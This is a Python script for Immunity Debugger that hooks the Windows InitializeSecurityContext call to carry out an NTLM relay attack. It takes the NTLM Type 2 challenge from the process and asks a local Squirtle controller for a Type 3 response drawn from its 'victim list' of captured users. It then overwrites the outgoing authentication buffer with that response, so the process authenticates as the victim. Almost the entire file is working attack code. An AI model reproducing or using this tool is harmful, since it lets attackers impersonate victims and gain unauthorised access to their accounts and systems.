#The code is released under GPLv2 (http://www.gnu.org/licenses/gpl-2.0.html), #by Laszlo Toth. #Use the code at your own responsibility. #For help and disclaimer please visit: # http://www.soonerorlater.hu/index.khtml?article_id=514 """ hook on bp SECURITY_STATUS SEC_Entry InitializeSecurityContext( __in_opt PCredHandle phCredential, __in_opt PCtxtHandle phContext, __in_opt SEC_CHAR *pszTargetName, __in ULONG fContextReq, __in ULONG Reserved1, __in ULONG TargetDataRep, __in_opt PSecBufferDesc pInput, __in ULONG Reserved2, __inout_opt PCtxtHandle phNewContext, __inout_opt PSecBufferDesc pOutput, __out PULONG pfContextAttr, __out_opt PTimeStamp ptsExpiry ); The real hook is on the CALL Secur32.77FE5C5D 77FEA81B E8 3DB4FFFF CALL Secur32.77FE5C5D """ __VERSION__ = '0.1' import immlib from immlib import LogBpHook import immlib import binascii from binascii import hexlify import base64 import re import sys import urllib2 import jsonlib def initrethook(rethook,regs): imm=immlib.Debugger() #We place a bp on the return address to change the pOutput buffer of ISC bp_address=imm.readLong(regs["ESP"]) rethook.add("hook_on_ret",bp_address) imm.Log("Place hook on the return address of ISC: "+hex(bp_address)) return def printmem(buffer, len): i=len j=0 octetstr=octethex="" imm = immlib.Debugger() tmp=imm.readMemory(buffer,len) while i > 8: for a in range(8): if int(tmp[j+a].encode('hex'),16) > 32 and int(tmp[j+a].encode('hex'),16) < 126: octetstr="%s %s" % (octetstr, tmp[j+a]) else: octetstr="%s %s" % (octetstr, ".") octethex="%s %s" % (octethex,tmp[j+a].encode('hex')) imm.Log(octethex + " " + octetstr) j+=8 i-=8 octethex=octetstr="" j+=1 while j < len: if int(tmp[j].encode('hex'),16) > 32 and int(tmp[j].encode('hex'),16) < 126: octetstr="%s %s" % (octetstr, tmp[j]) else: octetstr="%s %s" % (octetstr, ".") octethex="%s %s" % (octethex,tmp[j].encode('hex')) j+=1 imm.Log("%-24s %s" % (octethex, octetstr)) def printbuff(buffer): i=len(buffer) j=0 octetstr=octethex="" imm = immlib.Debugger() tmp=buffer while i > 8: for a in range(8): if int(tmp[j+a].encode('hex'),16) > 32 and int(tmp[j+a].encode('hex'),16) < 126: octetstr="%s %s" % (octetstr, tmp[j+a]) else: octetstr="%s %s" % (octetstr, ".") octethex="%s %s" % (octethex,tmp[j+a].encode('hex')) imm.Log(octethex + " " + octetstr) j+=8 i-=8 octethex=octetstr="" j+=1 while j < len(buffer): if int(tmp[j].encode('hex'),16) > 32 and int(tmp[j].encode('hex'),16) < 126: octetstr="%s %s" % (octetstr, tmp[j]) else: octetstr="%s %s" % (octetstr, ".") octethex="%s %s" % (octethex,tmp[j].encode('hex')) j+=1 imm.Log("%-24s %s" % (octethex, octetstr)) class MyOwnHook(LogBpHook): def __init__(self): LogBpHook.__init__(self) #This will be executed when the code reaches ISC def run(self,regs): pOutput="" pSecbuf=0 imm = immlib.Debugger() user=imm.getKnowledge("Username") #Return address of the ISC, so the Type3 will be replaced if imm.getKnowledge("%08x" % regs["EIP"] ) != "isc_address": imm.Log("After ISC!") pOutput=imm.getKnowledge("pOutput") imm.Log("pOutout: "+hex(pOutput)) pSecbuf=imm.readLong(pOutput+8) cbBuffer=imm.readLong(pSecbuf) imm.Log("out cbBuffer: %s" %hex(cbBuffer)) pvBuffer=imm.readLong(pSecbuf+8) imm.Log("out pvBuffer: %s" % hex(pvBuffer)) printmem(pvBuffer,cbBuffer) type3_binary=imm.getKnowledge("type3") imm.writeMemory(pvBuffer,type3_binary) printmem(pvBuffer,cbBuffer) return #Setup the HTTP connection to squirtle. You can change the IP address, username #and password to your squirtle configuration auth_handler = urllib2.HTTPBasicAuthHandler() auth_handler.add_password(realm='Squirtle Realm', uri='http://127.0.0.1:8080',user='squirtle', passwd='squirtle') opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) pInput=0L pSecbuf=0L NumofSecbuf=0L #Number of the secbuffers in the SecBufferDesc cbBuffer=0L #Length of the SecBuffer pvBuffer=0L #PVOID pvBuffer; of the Secbuffer pInput = regs['ESP'] + 0x1c # PSecBufferDesc pInput of ISC pInput=imm.readLong(pInput) imm.Log("================================================================================") imm.Log("pInput: %s"%hex(pInput)) #We get the NTLM Type 2 if the pInput is not NULL if (pInput!=0): #Place the hook on the retunr address initrethook(self,regs) #Save the address the pOutput buffer, we will replace it later pOutput = regs['ESP'] + 0x28 pOutput=imm.readLong(pOutput) imm.forgetKnowledge("pOutput") imm.addKnowledge("pOutput",pOutput) #Read the NTLM Type 2 from the pInput parameter of ISC NumofSecbuf=imm.readLong(pInput+4) imm.Log("NumofSecbuf: %s" %hex(NumofSecbuf)) pSecbuf=imm.readLong(pInput+8) imm.Log("pSecbuf: %s" %hex(pSecbuf)) cbBuffer=imm.readLong(pSecbuf) imm.Log("cbBuffer: %s" %hex(cbBuffer)) pvBuffer=imm.readLong(pSecbuf+8) imm.Log("pvBuffer: %s" % hex(pvBuffer)) printmem(pvBuffer,cbBuffer) tmp=imm.readMemory(pvBuffer,cbBuffer) type2=base64.b64encode(tmp) imm.Log("NTLM Type2 in Base64: "+type2) #Find the given user name in the victim list of squirtle f=urllib2.urlopen('http://127.0.0.1:8080/controller/allusers') resp=jsonlib.read(f.read()) list=resp['hashes'] type2_key="" for key, userrec in list.iteritems(): if userrec['user']==user: type2_key=key #Send the NTLM Type 2 to get the NTLM Type 3 from squirtle f=urllib2.urlopen('http://127.0.0.1:8080/controller/type2?type2='+type2+'&key='+type2_key) type2="" resp=jsonlib.read(f.read()) type3=resp['result'] #Save the NTLM Type 3 for later use imm.Log("NTLM Type 3: "+type3) type3_binary=base64.b64decode(type3) imm.forgetKnowledge("type3") imm.addKnowledge("type3", type3_binary) imm.Log(str(len(type3_binary))) printbuff(type3_binary) return def main(): imm = immlib.Debugger() user=imm.inputBox("Username") imm.addKnowledge("Username", user) imm.Log("Username: "+user) bp_address=imm.setBreakpointOnName("InitializeSecurityContextA") imm.addKnowledge("%08x" % bp_address, "isc_address") logbp_hook = MyOwnHook() logbp_hook.add("bp_on_isc",bp_address) imm.Log("Placed isc hook: bp_on_isc") if __name__=="__main__": print "This module is for use within Immunity Debugger only"